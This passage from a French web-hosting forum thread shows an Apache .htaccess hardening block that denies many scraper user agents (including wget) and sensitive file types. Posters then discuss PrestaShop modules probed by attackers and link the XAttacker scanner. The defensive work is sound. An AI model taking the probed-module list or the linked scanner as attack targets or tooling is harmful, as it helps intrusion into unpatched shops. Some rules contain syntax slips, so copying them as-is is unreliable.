RewriteCond %{HTTP_USER_AGENT} ^searchterms\.it [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^semanticdiscovery[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SemrushBot[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Shai [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^sitecheck[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^snagger [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Spegla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SpiderBot[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SurfWalker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^suzuran [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^szukacz [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^tarspider[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Telesoft [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Templeton [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^test [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^tighttwatbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^thenomad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^turingos [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^TurnitinBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^urly.?warning [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^UtilMind [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^vayala [OR]
RewriteCond %{HTTP_USER_AGENT} ^vci [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^w3mir[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^web.by.mail [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebBandit[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopy [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebEMailExtrac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebMiner [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSnake [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^webvac [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^webwalk [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^wget [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WhosTalking [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^WUMPUS [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^wwwoffle [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^www\.pl [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^webcrawl\.net [NC]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^XGET [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Yandex [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^YottaShopping_Bot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus.*Webster[NC]
Options +FollowSymLinks
RewriteRule ^(.*)$ - [F,L]

</IfModule>

# DÉSACTIVATION DE LA SIGNATURE DU SERVEUR
ServerSignature Off

# Empêche la mise sous frames (clickjacking)
Header always append X-Frame-Options SAMEORIGIN

# Désactivation du "MIME sniffing"
Header set X-Content-Type-Options "nosniff" 

# Blocage des attaques XSS (nb : propre à Internet Explorer 8/9)
Header set X-XSS-Protection "1; mode=block" 

# SECURISATION DES ACCES AUX FICHIERS
<Files ~ "^.*\.([Hh][Tt][Aa])">
 order allow,deny
 deny from all
 satisfy all
</Files>
<FilesMatch "\.(inc|tpl|h|ihtml|sql|ini|conf|class|bin|spd|themes|modules|exe|asa|bak|old)$">
deny from all
</FilesMatch>

# PRÉVENTION DES ATTAQUES DDOS
LimitRequestBody 10240000

Liste des modules testés par le(s) hacker - trouvé dans mon fichier log :

 

  • smartprestashopthemeadmin
  • jmsslider
  • groupcategory
  • verticalmegamenus
  • vtemskitte
  • up.php
  • bamegamenu
  • autoupgrade
  • gamification
  • ps_facetedsearch
  • ps_checkout
  • pscartabandonmentpro
Link to comment
Share on other sites

Fail2ban est un service serveur, donc seulement si tu as un dédié

La liste des tests des modules correspond a des modules qui ont eu des failles et il cherchent pour trouver les dilettantes qui n'auraient pas corrigé leurs modules.
On trouve par exemple ce scanner https://github.com/Moham3dRiahi/XAttacker

Le problème des ip est que souvent ce sont des ip utilisé par des internautes "classique" qui ont un trojan sur leur pc, donc potentiellement tu vas finir par bannir la terre entière

Link to comment
Share on other sites

J'ai réalisé que c'était un service serveur après t'avoir envoyé le message, mais on ne peut pas retirer des messages.

J'ai installé le module SecurityPro, et il a l'air de faire le boulot.

Aucun logs suspect aujourd'hui.

La fin de ennuis? ... je croise les doigts, en tout cas, merci pour les aides et conseils.

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...